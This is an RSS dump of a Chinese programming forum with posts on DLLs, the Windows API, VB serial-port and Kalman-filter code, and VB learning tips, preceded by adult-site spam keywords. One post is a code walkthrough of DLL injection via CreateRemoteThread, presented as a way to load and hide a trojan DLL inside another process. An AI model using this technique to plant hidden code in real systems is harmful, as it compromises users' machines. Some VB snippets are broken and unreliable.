成人免费视频网址,免费国产一区二区,91色视频在线观看http://www.bjzhda.cnzh-cn曙海教育集團論壇http://www.bjzhda.cnRss Generator By Dvbbs.Netofficeoffice@126.comimages/logo.gif曙海教育集團論壇技術討論總結 -之- DLL和COMhttp://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2609&Page=1wangxinxin2010-12-14 14:52:04
DLL是微軟創造的二進制級別代碼重用和應用程序管理的技術. DLL有如下這些好處:
1. 由于DLL動態加載的特性, 使得DLL模塊和應用程序主干相剝離, 便于程序的升級 -----升級某個模塊的功能只需覆蓋某個DLL就可以了, 無需重新編譯全部代碼.
2. DLL的另一個好處也來自動態加載, 因此依賴于這個模塊的其他各類應用程序不需與DLL編譯在一起, 因此省出了更多的硬盤空間. 假如使用靜態鏈接, 則每一個應用程序都需包含相應的模塊鏡像, 對磁盤的浪費是很嚴重的.
3. 更為重要的, 使用DLL還有助于節省內存. 因為系統為DLL提供了引用計數, 所有加載DLL的進程共享DLL的頁面(當然數據不能共享,數據由進程自己保存.能夠共享的是相當于代碼段的頁面),因此DLL使得內存的使用更有效.
4. 使用DLL可以實現多語言編程.例如VB的程序可以調用C++代碼實現的DLL模塊里面的函數.

DLL有兩種加載方式, 一種是隱示加載, 就是在應用程序里包含DLL編寫者提供的.h文件和編譯時產生的.lib文件. 這樣DLL將會在程序啟動時加載入進程. 可以想見, 如word這類的程序在啟動之時如此緩慢, 就是在不斷的加載各種DLL模塊.
另一種加載方式就是在程序中調用LoadLibrary函數顯示加載DLL, 然后通過調用GetProcAddress函數獲取相應函數的地址(即函數指針), 從而調用DLL內的函數. 這種做法有一個很好的優點就是不必所有的DLL都在啟動時加載, 很多DLL模塊都可以在需要使用的時候再臨時加載, 有些DLL假如沒有用到可以一直不加載. 我個人認為這是很好的用戶體驗. 我不理解的是為什么MS的各類產品沒有使用這種方式進行程序設計.或許他已經用了, 但是啟動時候必須加載的DLL項目太多?我就不再猜測了..
顯示加載的DLL需要手動卸載, 調用FreeLibrary函數卸載它.

與普通的EXE一樣, DLL也有一個進入點函數, 名字叫做DllMain, 這個函數接受三個參數, HINSTANCE hInst, DWORD fdwReason, PVOID fImpLoad
我在這里只討論第二個參數fdwReason. 它可以是4個值: DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH
分別表示DLL首次加載,DLL從進程中釋放, DLL線程的構造和終止. 其實系統為DLL提供了引用計數, DLL只加載入RAM一次, 所有進程共享DLL的各個頁面, 所以只有第一次加載會調用帶有DLL_PROCESS_ATTACH的DllMain. 但每次DLL從進程中釋放都會調用帶DLL_PROCESS_DETACH的DllMain, 這是因為進程保存了DLL里面的一些變量可能需要釋放掉.
因此DllMain可以阻止進程結束.它可以在DLL_PROCESS_DETACH消息中放一個死循環,等待所有資源都被釋放掉才退出. 如果有些資源出了問題, 就可能導致DLL無法正常退出.這就是為什么有些程序即使你去點小紅叉叉也結束不了進程的原因.這種情況可以調用TerminateProcess函數強關進程.這就是為什么通過任務管理器仍然能結束進程的原因(但是這樣做有可能丟失數據...)]]>
vb語言實現的卡爾曼濾波源程序http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2608&Page=1wangxinxin2010-12-14 14:47:56(沒有測試,輸出部分要配合相應的過程)

Dim num1, num2, num3
Dim a(), a1(), e() As Single
Dim alf, xgm(), p(), k1(), k2, k(), p1(), p2(), c(), c1, k3(), k4(), cc() As Single
Private Sub Command1_Click()
CommonDialog1.ShowOpen
Open CommonDialog1.FileName For Input As #1
num3 = Val(Text1.Text) + 2
num2 = Val(Text2.Text)
ReDim a(num3, num2)
For j = 1 To num3
For i = 1 To num2
Input #1, a(j, i)
Next i
Next j
Close #1

End Sub

Private Sub Command2_Click()
CommonDialog1.ShowSave
Open CommonDialog1.FileName For Append As #2

For i = 1 To num2
Print #2, cc(i, 1), cc(i, 2), cc(i, 3)
Next i

Close #2
Shell "c:\windows\notepad " & CommonDialog1.FileName
End Sub

Private Sub Command3_Click()

num1 = Val(Text1.Text) + 1
num2 = Val(Text2.Text)
num3 = Val(Text1.Text) + 2
ReDim a1(num2), e(num1, num2) As Single
ReDim xgm(num1), p(num1, num1), k1(num1), k(num1), p1(num1, num1), p2(num1, num1), c(num1), k3(num1), k4(num1), cc(num2, num1) As Single





c(1) = c(2) = c(3) = 0
r = 0.000001
alf = 10
For j = 1 To num1
For i = 1 To num2
e(j, i) = a(j, i)
a1(i) = a(num3, i)
Next i
Next j
For x = 1 To num1
xgm(x) = alf * Sqr(r / e(x, 1))
p(x, x) = xgm(x) ^ 2
Next x

For q = 1 To num2
For i = 1 To num1
k3(i) = k4(i) = 0
Next i
k2 = 0
For i = 1 To num1
For j = 1 To num1
p1(i, j) = p2(i, j) = 0
Next j
Next i
c1 = 0

For m = 1 To num1
k3(m) = 0
For n = 1 To num1
k3(m) = k3(m) + e(n, q) * p(n, m)
Next n
Next m

For m = 1 To num1
k4(m) = 0
k4(m) = k4(m) + 1000 * k3(m) * e(m, q)
Next m

For i = 1 To num1
k2 = k2 + k4(i)
Next i

For v = 1 To num1
k(v) = 0
k(v) = k3(v) * (k2 / 1000 + r) ^ -1
Next v

For i = 1 To num1
For j = 1 To 3
p1(i, j) = k(i) * e(j, q)
Next j
Next i

For l = 1 To num1
For i = 1 To num1
p2(l, i) = 0
For j = 1 To num1

p2(l, i) = 1000 * p1(l, j) * p(j, i) + p2(l, i)
Next j
Next i
Next l

For i = 1 To num1
For j = 1 To num1
p(i, j) = p(i, j) - p2(i, j) / 1000
Next j
Next i

For i = 1 To num1
c1 = c1 + e(i, q) * c(i)
Next i
For i = 1 To num1
c(i) = c(i) + k(i) * (a1(q) - c1)

Next i


For i = 1 To num1

cc(q, i) = c(i)
Next i
Next q

End Sub

Private Sub Command4_Click()
End
End Sub]]>
用vb和c語言來進行遠程線形技術http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2607&Page=1wangxinxin2010-12-14 14:39:24
遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。 但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠程線程同樣可以共享遠程進程(是遠程進程耶!)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內存地址空間,也就擁有了那個遠程進程相當的權限。例如在遠程進程內部啟動一個DLL木馬(與進入進程內部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個遠程進程的數據)。

  首先,我們通過OpenProcess 來打開我們試圖嵌入的進程(如果遠程進程不允許打開,那么嵌入就無法進行了,這往往是由于權限不足引起的,解決方法是通過種種途徑提升本地進程的權限) 

 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠程創建線程 
                PROCESS_VM_OPERATION | file://允許遠程VM操作 
                PROCESS_VM_WRITE,//允許遠程VM寫 
                FALSE, dwRemoteProcessId ) 

  由于我們后面需要寫入遠程進程的內存地址空間并建立遠程線程,所以需要申請足夠的權限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。 

  然后,我們可以建立LoadLibraryW函數這個線程來啟動我們的DLL木馬,LoadLibraryW函數是在kernel32.dll中定義的,用來加載DLL文件,它只有一個參數,就是DLL文件的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠程進程內調用的,所以我們首先還需要將這個文件名復制到遠程地址空間:(否則遠程線程是無法讀到這個參數的) 

 file://計算DLL路徑名需要的內存空間 
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); 
 file://使用VirtualAllocEx函數在遠程進程的內存地址空間分配DLL文件名緩沖區 
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, 
            MEM_COMMIT, PAGE_READWRITE); 
 file://使用WriteProcessMemory函數將DLL的路徑名復制到遠程進程的內存空間 
 iReturnCode = WriteProcessMemory(hRemoteProcess, 
            pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); 
 file://計算LoadLibraryW的入口地址 
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) 
     GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); 

  萬事俱備,我們通過建立遠程線程時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數pszLibFileRemote(實際上是我們復制過去的木馬DLL的全路徑文件名)在遠程進程內啟動我們的木馬DLL: 

 file://啟動遠程線程LoadLibraryW,通過遠程線程調用用戶的DLL文件 
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, 
                 pfnStartAddr, pszLibFileRemote, 0, NULL); 

  至此,遠程嵌入順利完成,為了試驗我們的DLL是不是已經正常的在遠程線程運行,我編寫了以下的測試DLL: 

 BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) 
   { 
    char szProcessId[64] ; 
    switch ( reason ) 
     { 
      case DLL_PROCESS_ATTACH: 
       { 
         file://獲取當前進程ID 
         _itoa ( GetCurrentProcessId(), szProcessId, 10 ); 
         MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); 
       } 
      default: 
      return TRUE; 
     } 
   } 

  當我使用RmtDll.exe程序將這個TestDLL.dll嵌入Explorer.exe進程后(PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具也能看到 

   Process ID: 1208 
   C:WINNTExplorer.exe (0x00400000) 
   …… 
   C:TestDLL.dll (0x100000000) 
   …… 

  這證明TestDLL.dll已經在Explorer.exe進程內正確地運行了。 

  無論是使用特洛伊DLL還是使用遠程線程,都是讓木馬的核心代碼運行于別的進程的內存空間,這樣不僅能很好地隱藏自己,也能更好的保護自己。
]]>
開發語言中的VB串口通訊實例http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2606&Page=1wangxinxin2010-12-14 14:36:19Dim PortValue As Integer `端口號選擇1-4
Dim value As Double `當前一次取值
Dim value2 As Double `要顯示的值
Dim valueSum As Double `和
Dim numCount As Double `算平均值是的計數個數
Dim func As Integer `功能號標志1-4
Dim valueFlag As Integer
Private Sub Check1_Click()
`自動刷新 被選中則 刷新按鈕無效
If Check1.value Then
Command1.Enabled = False
Else
Command1.Enabled = True

Command1.SetFocus
End If
End Sub
Private Sub Command1_Click()
`顯示
Call display
End Sub
Private Sub Command2_Click()
valueSum = 0 `清計數和
numCount = 1 `清計數個數
Label6.Caption = Str(numCount - 1) `顯示復位
value = 0
value2 = 0
valueFlag = 0
Call display
End Sub
Private Sub Form_Activate()
numCount = 1
value = 0
valueSum = 0
PortValue = 1
Text1.Visible = False
Label6.Caption = 0
Option1(0).value = True
Option2(0).value = True
Command1.SetFocus
Label1.Caption = Format(value2 0.000000)
For i = 0 To 3
If Option2(i).value = True Then
func = i + 1
End If
Next i
Check1.value = 1
`Call ComPortOpen
End Sub
Public Sub ComPortOpen() `開串口
With MSComm1
.CommPort = PortValue `使用COM1
.Settings = 9600N81 `設置通信口參數
.InBufferSize = 40
`設置MSComm1接收緩沖區為40字節
`.OutBufferSize = 2
`設置MSComm1發送緩沖區為2字節
.InputMode = comInputModeBinary
`設置接收數據模式為二進制形式
.InputLen = 1
`設置Input 一次從接收緩沖讀取字節數為1
`.SThreshold = 1
`設置Output 一次從發送緩沖讀取字節數為1
.InBufferCount = 0 `清除接收緩沖區
`.OutBufferCount = 0 `清除發送緩沖區
`MaxW = -99
`最大值賦初值
`MinW = 99 `最小值賦初值
`w = 0
`數據個數計數器清零
.RThreshold = 1
On Error Resume Next
`設置接收一個字節產生OnComm事件
If .PortOpen = False Then
`判斷通信口是否打開
.PortOpen = True `打開通信口
If Err Then `錯誤處理
msg = MsgBox( 串口 COM PortValue 無效! vbOKOnly 警告)
Exit Sub
End If
End If
End With
`MsgBox 端口已打開
End Sub
Public Sub ComPortClose() `關串口
MSComm1.PortOpen = False
` MsgBox 端口已關閉
End Sub
Private Sub MSComm1_OnComm()
Call recive
End Sub
Private Sub Option1_Click(Index As Integer)
If MSComm1.PortOpen = True Then
Call ComPortClose
End If
PortValue = Index + 1
Call ComPortOpen
End Sub
Private Sub recive() `檢測起始位并接收數據
Dim Buffer As Variant
Dim Arr() As Byte
Dim inData(5) As Byte
Dim count As Integer
Dim temp As Byte


` MsgBox OnComm
With MSComm1

Select Case .CommEvent
`判斷MSComm1通信事件
Case comEvReceive
`收到Rthreshold個字節產生的接收事件
Buffer = .Input
Arr = Buffer

`讀取一個接收字節
` Text1.Text = Arr(0)
If Arr(0) = H1B Then
.RThreshold = 0
Do
DoEvents
Loop Until .InBufferCount >= 4

For i = 1 To 4
`count = .InBufferCount
Buffer = .Input
Arr = Buffer
inData(i) = Arr(0)
Next i
If inData(4) = HA Then
If (inData(1) Mod 64) >= 32 Then
.RThreshold = 1
Exit Sub
End If
valueFlag = 1
`0.000003814697265625
temp = inData(1) Mod 16
If temp <= 7 Then
value = inData(1) Mod 8
value = value * 256 * 256
value = value + Val(inData(2)) * 256
value = value + Val(inData(3))
value = value * 3.814697265625E-06
`Text1.Text = Format(value 0.000000)
Else
value = inData(1) Mod 8
value = value * 256 * 256
value = value + Val(inData(2)) * 256
value = value + Val(inData(3))
value = value * 3.814697265625E-06
value = 0 - value
End If
temp = inData(1) Mod 128
` test OF
If temp >= 64 Then
If value < 0 Then
value = value - 0.000004
Else
value = value + 0.000004
End If
End If
`檢測自動刷新
If Check1.value Then
`valueFlag = 1
Call display
End If
]]>
什么是APIhttp://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2605&Page=1wangxinxin2010-12-14 14:31:43
如果你打開WINDOWS的SYSTEM文件夾,你可以發現其中有很多附加名為DLL的文件。一個DLL中包含的API函數并不只是一個,數十個,甚至是數百個。我們能都掌握它嘛?回答是否定的∶不可能掌握。但實際上,我們真的沒必要都掌握,只要重點掌握Windos系統本身自帶的API函數就可以了。但,在其中還應當拋開掉同VB本身自有的函數重復的函數。如,VB
的etAttr命令可以獲得文件屬性,SetAttr可以設置文件屬性。對API來講也有對應的函數
GetFileAttributes和SetFileAttributes,性能都差不多。如此地一算,剩下來的也就5、600個。是的,也不少。但,我可以敢跟你說,只要你熟悉地掌握100個,那么你的編程水平比現在高出至少要兩倍。盡管人們說VB和WINDOWS具有密切的關系,但我認為,API更接近
WINDOWS。如果你學會了API,首要的收獲便是對WINDOWS體系結構的認識。這個收獲是來自不易的。

如果你不依靠API會怎么樣?我可以跟你說,絕大多是高級編程書本(當然這不是書的名程叫高級而高級的,而是在一開始的《本書內容》中指明《本書的閱讀對象是具有一定VB基礎的讀者》的那些書),首先提的問題一般大都是從API開始。因此可以說,你不學API,你大概將停留在初級水平,無法往上攀登。唯一的途徑也許就是向別人求救∶我快死了,快來救救我呀,這個怎么辦,那個怎么辦?煩不煩呢?當然,現在網上好人太多(包括我在內,嘻嘻),但,你應當明白,通過此途徑,你的手中出不了好的作品。這是因為缺乏這些知識你的腦子里根本行不成一種總體的設計構思。
API文本游覽器 [返回]

很多API函數都是很長很長的。想看什么樣子嗎?如下就是作為例子的API DdeClientTransaction函數∶
Declare Function DdeClientTransaction Lib "user32" (pData As Byte, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, pdwResult As Long) As Long
哇!這么長?如果你從來沒有接觸過API,我想你肯定被嚇住了。你也許考慮,該不該繼續學下去。不過不要擔心,幸運的是Microsoft的設計家們為我們提供了有用的工具,這便是API
文本查看器。

通過API文本查看器,我們可以方便地查找程序所需要的函數聲明、結構類型和常數,然后將它復制到剪貼板,最后再粘貼到VB程序的代碼段中。在大多數情況下,只要我們確定了程序所需要的函數、結構和常數這三個方面后,就可以通過對API文本游覽器的以上操作將他們加入到程序段中,從而程序中可以使用這些函數了。這些是學習API最基本的常識問題,它遠遠占不到API的龐大的體系內容。今后我們把精力浪費(這絕不是浪費)在哪里呢?那就是∶
什么時候使用什么函數,什么時候使用什么結構類型,什么時候使用什么常數。
API函數聲明 [返回]

讓我們回想一下。在VB中,如何聲明函數呢?我想,如果你正在看此文,那么你絕對能夠回答得出這個問題。以下便是你應該很熟悉的函數聲明∶
Function SetFocus (ByVal hwnd As Long) As Long
即,這行代碼定義了名為SetFocus的函數,此函數具有一個Long型數據類型的參數,并按值傳遞(ByVal),函數執行后將返回一個Long型數據。
API函數的聲明也很類似,如,API中的SetFocus 函數是這樣寫的∶

Declare Function SetFocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
有點復雜了一些。是的,是復雜了點。但我可以告訴你,除了這些多出來的部分,其他部分還是和你以前學到的東西是一樣的。函數在程序中的調用也是一樣。如:
Dim dl As Long
dl&=SetFoucs(Form1.Hwnd)
但,一點是清楚的。它不象你自己寫的程序那樣能夠看到里面的運行機理,也不像VB
自帶的函數那樣,能夠從VB的聯機幫助中查到其用法。唯一的方法就是去學、查VB以外的資料。

Declare 語句用于在模塊級別中聲明對動態鏈接庫 (DLL) 中外部過程的引用。對此,你只要記住任何API函數聲明都必須寫這個語句就可以了。
Iib 指明包含所聲明過程或函數的動態鏈接庫或代碼資源。也就是說,它說明的是,函數或過程從何而來的問題。
如在上例中,SetFocus Lib "user32"說明 函數 SetFocus 來自 user32.dll文件。主要的dll動態連接庫文件有∶
user32.dll Windows管理。生成和管理應用程序的用戶接口。

GDI32.dll 圖形設備接口。產生Windows設備的圖形輸出
Kernel32.dll 系統服務。訪問操作系統的計算機資源。
注意,當DLL文件不在Windows或System文件夾中的時候,必須在函數中說明其出處(
路徑)。如,SetFocus Lib "c:\Mydll\user32"
函數聲明中的Alias 是可選的。表示將被調用的過程在動態鏈接庫 (DLL) 中還有另外的名稱(別名)。如,Alias "SetFocus" ,說明SetFocus函數在User32.dll中的另外一個名稱是,
SetFocus。怎么兩個名都一樣呢?當然,也可以是不同的。在很多情況下,Alias說明的函數名,即別名最后一個字符經常是字符A,如SetWindowsText函數的另一個名稱是
SetWindowsTextA,表示為Alias "SetWindowsTextA"。這個A只不過是設計家們的習慣的命名約定,表示函數屬于ANSI版本。

那么,別名究竟有什么用途呢?從理論上講,別名提供了用另一個名子調用API的函數方法。如果你指明了別名,那么 盡管我們按Declare語句后面的函數來調用該函數,但在函數的實際調用上是以別名作為首要選擇的。如,以下兩個函數(Function,ABCD)聲明都是有效的,他們調用的是同一個 SetFocus函數∶
Declare Function SetFocus Lib "user32" "SetFocus" (ByVal hwnd As Long) As Long
Declare ABCD SetFocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long

需要注意的是,選用Alias的時候,應注意別名的大小寫;如果不選用Alias 時的時候,函數名必須注意大小寫,而且不能改動。當然,在很多情況下,由于函數聲明是直接從API
文本游覽器中拷貝過來的,所以這種錯誤的發生機會是很少的,但您有必要知道這一點。
最后提醒你一句,API聲明(包括結構、常數)必須放在窗體或模塊的"通用(General Declarations)段。
數據類型與"類型安全" [返回]

API函數中使用的數據類型基本上和VB中的一樣。但作為WIN32的API函數中,不存在Integer
數據類型。另外一點是在API函數中看不到Boolean數據類型。 Variant數據類型在API函數中是以Any的形式出現,如Data As Any。盡管其含義是允許任意參數類型作為一個該API函數的參數傳遞,但這樣做存在一定的缺點。其原因是,這將會使得對目標參數的所有類型檢查都會被關閉。這自然會給各種類型的參數調用帶來了產生錯誤的機會。

為了強制執行嚴格的類型檢查,并避免上面提到的問題,一個辦法是在函數里使用上面提到到Alias技術。如對API函數 GetDIBits 可進行另外一種聲明方法。如下∶
GetDIBits函數的原型∶
Public Declare Function GetDIBits Lib "gdi32" Alias "GetDIBits" (ByVal aHDC As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Any, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long
GetDIBits函數的改型∶

Public Declare Function GetDIBitsLong Lib "gdi32" Alias "GetDIBits" (ByVal aHDC As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Long, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long
通過本課程前面所學到的知識,我們已經可以得知原型 GetDIBits函數也好,改型 GetDIBitsLong函數也好,實際將調用的都是Alias所指定的 GetDIBits原函數。但你應當看到,兩者的區別在于,我們在改型的函數中強制指定lpBits參數為Long形。這樣就會使得函數調用中發生的錯誤機率減少到了最小。這種方法叫做"安全類型"聲明。

API函數中經常看到的數據類型有∶Long,String,Byte,Any....(也就這些吧。)
常 數 [返回]

對于API常數來講,沒有什么太特別的學問。請看VB中的以下代碼∶
Msg = MsgBox("您好", vbOKCancel)
我們知道, vbOKCancel這個常數的值等于1。對上面的代碼我們完全可以這樣寫,而不會影響代碼的功能∶
Msg = MsgBox("您好", 1)
但你大概不太愿意選擇后一種,因為這會使得看懂代碼費勁起來。這種方法也被API采取了。只是API常數必須在事情之前做好初始化聲明VB本身是看不懂的。其內容仍然來自與API
文本游覽器。具體形式如下等等∶

Public Const ABM_ACTIVATE = &H6
Public Const RIGHT_CTRL_PRESSED = &H4
Public Const RPC_E_SERVER_DIED = &H80010007
Private Const RPC_S_CALL_FAILED_DNE = 1727&
在常數的初始化中,有些程序使用Global,如Global Const ABM_ACTIVATE = &H6,但我認為Public完全可以代替它。過去我也用過Global,但現在不大用了。一會兒用這個,一會兒用那個,各程序之間不能保持一致性了,起碼看起來別扭。
結 構 [返回]

結構是C和C++語言中的說法。在VB中一般稱為自定義數據類型。想必很多朋友都已經認識它。在API領域里,我更喜歡把它叫做結構,因為API各種結構類型根本不是我定義(
自定義)的。
在VB中,API結構同樣由TYPE.......END TYPE語句來定義。如,在API中,點(Point)結構的定義方法如下:
Public Type POINTAPI
X As Long '點在X坐標(橫坐標)上的坐標值

Y As Long '點在Y坐標(縱坐標)上的坐標值
End Type
又如,API中矩形(Rect)結構的定義如下∶
Public Type RECT
Left As Long '矩形左上角的X坐標
Top As Long '矩形左上角的Y坐標
Right As Long '矩形右下角的X坐標
Bottom As Long '矩形右下角的Y坐標

End Type
這些內容同樣可以從API文本游覽器中拷貝過來。這些結構中的變量名可隨意改動,而不會影響結構本身。也就是說,這些成員變量都是虛擬的。如,POINTAPI結構可改為如下∶
Public Type POINTAPI
MyX As Long '點在X坐標(橫坐標)上的坐標值
MyY As Long '點在Y坐標(縱坐標)上的坐標值
End Type
不過,一般來講,是沒有這種必要的。結構本身是一種數據類型,因此,使用時必須聲明具體變量為該結構型,才能在程序中真正使用到該結構。結構的聲明方法和其他數據的聲明方法一樣,如,以下語句把變MyPoint聲明為POINTAPI結構類型∶

MyPoint As POINTAPI
引用結構中的成員變量也十分簡單,在結構名后面加上一個".",然后緊接著寫要引用的成員變量即可。這很象VB中的引用一個對象的某個屬性。如,假如我們把上面已經聲明的MyPoint結構中的X變量的值賦給變量Temp&
則代碼如下∶
Temp&=MyPoint.X
但,特別注意的是,你千萬不要認為上例中的MyPoint是一個值。它不是值,而是地址(
指針)。值和地址是完全不同的概念。結構要求按引用傳遞給WINDOWS函數,即所有API
函數中,結構都是按ByRef傳遞的(在Declare語句 中ByRef是默認型)。對于結構的傳遞,你不要試圖采用ByVal,你將一無所獲。由于結構名實際上就是指向這個結構的指針(這個結構的首地址),所以,你也就傳送特定的結構名就可以了(參見小結,我用紅色字體來突出了這種傳遞方式)。

由于結構傳送的是指針,所以函數將直接對結構進行讀寫操作。這種特性很適合于把函數執行的結果裝載在結構之中。
小 結 [返回]

以下的程序是為了總結本課中學到的內容而給出的。啟動VB,新建一個項目,添加一個命令按鈕,并把下面的代碼拷貝到代碼段中,運行它。

Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI '定義點(Point)結構
X As Long '點在X坐標(橫坐標)上的坐標值
Y As Long '點在Y坐標(縱坐標)上的坐標值
End Type
Sub PrintCursorPos( )
Dim dl AS Long
Dim MyPoint As POINTAPI
dl&= GetCursorPos(MyPoint) '調用函數,獲取屏幕鼠標坐標

Debug.Print "X=" & Str(MyPoint.X) & " and " & "Y=" & Str(MyPoint.Y)
End Sub
Private Sub Command1_Click()
PrintCursorPos

End Sub

輸出結果為(每次運行都可能得到不同的結果,這得由函數調用時鼠標指針在屏幕中所處的位置而決定)∶
X= 240 and Y= 151

程序中,GetCursorPos函數用來獲取鼠標指針在屏幕上的位置。

以上例子中,你可以發現,以參數傳遞的MyPpint結構的內容在函數調用后發生了實質性變化。這是由于結構是按ByRef傳遞的原因。
]]>
vb編程語言?學習vb語言編程需要有什么基礎?http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2604&Page=1wangxinxin2010-12-14 14:21:08
1、VB在編程語言中屬于十分好學的,BASIC語言在設計之初就是為初學者準備的

2、26個字母和打字肯定得會啊~~如果會英語的話,學起來會更簡單,但是不會也無妨;需要一定的電腦基礎,以理解其中的一些術語

3、如果你對電腦并不精通,或之前沒有編程經驗,建議買《Visual Basic 6程序設計與應用教程》清華大學出版社,許慶芳、翁婉真著

如果學過其它程序語言,或者你的理解能力很強,建議買《零基礎學Visual Basic》斯圖巴琴、楊利潤等著

學習VB一段時間之后,建議買《Visual Basic開發技術大全》明日科技著,里面內容很全,但不要作為入門教材!!

4、樓上寫的很詳細,這里就不再說了。

5、有助于。因為編程當中,各種語言的算法在大致上一樣。但學VB對學習C的幫助與JAVA、C++、C#、PHP等現在很流行的語言相比,是很小的;因為VB的語法和C大不一樣,而前面說的語言要么是C派生的,要么就是其語法與C相似。
有誰懂VB編程語言啊
vb編程語言我這有個題目.懂的幫個忙啊.偶是個初學者哈.
針對command.每按一次按鈕,文本框的高就會增加10.寬度增加15.字號增加2.
Private Sub Command1_Click()
Text1.Height = Text1.Height + 10 www.oustudy.com
Text1.Width = Text1.Width + 15
End Sub

添加一個按鈕和一個文本框,并修改其為多行顯示
為按鈕添加以下事件方法
Private Sub Command1_Click()
Text1.Height = Text1.Height + 10 * 15
Text1.Width = Text1.Width + 10 * 15
Text1.FontSize = Text1.FontSize + 2
End Sub
]]>
VB中子分類技術實例應用http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2603&Page=1wangxinxin2010-12-14 14:19:11子分類技術的原理:要先取得原先Window Procedure所在的地址,將之記錄起來,接著設定所有的消息都先轉到我們所寫的消息處理過程上來,我們過濾傳過來的消息,尋找特定的消息進行處理,其余的送回系統,由系統決定如何處理。等到我們不需要再處理這些特定的消息時,便取消消息的截取,即中止子分類過程。它一般需要三個過程:開始截取,消息處理,中止截取. 
  程序需要一個模塊,在模塊中聲明如下: 
  ’api函數Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _ 
  (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long)

A s Long Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _ 
  (ByVal hwnd As Long, ByVal nIndex As Long) As Long Declare Function

CallWindowProc Lib "user32" Alias "CallWindowProcA" _ 
  (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, _ 
  ByVal wParam As Long, ByVal lParam As Long) As Long 
  ’定義常數Public Const GWL_WNDPROC = (-4) Public Const WM_MOUSEMOVE = &H200 Public Const WM_RBUTTONDOWN = &H204 
  ’全局變量,存放控件標志性數據Public preWinProc As Long 
  ’本函數就是用來接收子分類時截取的消息的Public Function wndproc(ByVal hwnd As Long, ByVal Msg As Long, _ 
  ByVal wParam As Long, ByVal lParam As Long) As 
  Long 
  ’截取下來的消息存放在msg參數中. 
  if msg=WM_RBUTTONDOWN then 
  ’檢測到鼠標右擊消息,這里就可以加入我們的處理代碼如: 
  msgbox "你好,鼠標右擊消息!" 
  ’需要注意,如果這兒不加入任何代碼,則相當于吃掉了這條消息. else 
  ’如果我們不是我們需要處理的消息,則將之送回原來的程序. 
  wndproc = CallWindowProc(preWinProc, hwnd, Msg, wParam, lParam) endif End Function 
’以下代碼在窗體中: ’本例以截取一個combobox控件的消息為例,假設該’控件的名字是:comb1 Private Sub subclass() Dim ret As Long 
  ’記錄Window Procedure的地址 
  preWinProc = GetWindowLong(comb1.hwnd, GWL_WNDPROC)

]]>
VB軟件防破解設計技術初探 文檔 + 全部源碼http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2602&Page=1wangxinxin2010-12-14 14:17:46VB反破解最好的教程  申精加申¥[/font]
[font=黑體][/font]
[font=黑體][attach]7211[/attach][/font]
[font=黑體]
用VB開發商業軟件的朋友一定要看的啦~
3個DOC文檔 & 全部源碼 收集整理方便下載.
我用金山卡吧殺毒過 不放心的下載后再殺.
[/font]
[font=黑體][/font]
[font=黑體][/font]
[font=黑體][/font]]]>
掌握開發的武器-語言http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=77&ID=2601&Page=1wangxinxin2010-12-14 14:11:41隨首電腦的普及,電腦語言也跟首一塊開始普及。在這之前電腦語言一直是科學家手中的神秘之物。它經過不斷的發展和進化才變成我們現在所看見的樣子,而在早期的時候,語言基本上都很繁雜很難接受,語言的種類也很多,其中有相當一部分語言已經淘汰了,只有資深的程序員還能記得它們的名字。

好個時候機器也很差,CPU、內存、硬盤等都差得很,跟現在是沒法比了,編程序也沒有現在舒服,還沒有軟驅的時候編程人員用的是穿孔紙帶,機器大的象立柜。可能有的人聽著都新鮮,其實那就是電腦以前的樣子,連游戲都沒有。后來出現了蘋果機和8086以后PC市場才開始火起來,隨著普及量的增多PC的用途也越來越廣,人們開始在上面制作各種用途軟件,這極大推動了電腦語言的發展。產生了匯編語言、C語言Basic語言、數據庫語言等很多風行的語言,它們基本上解決了人們在各行業中的需要。

2、領會語言的特征
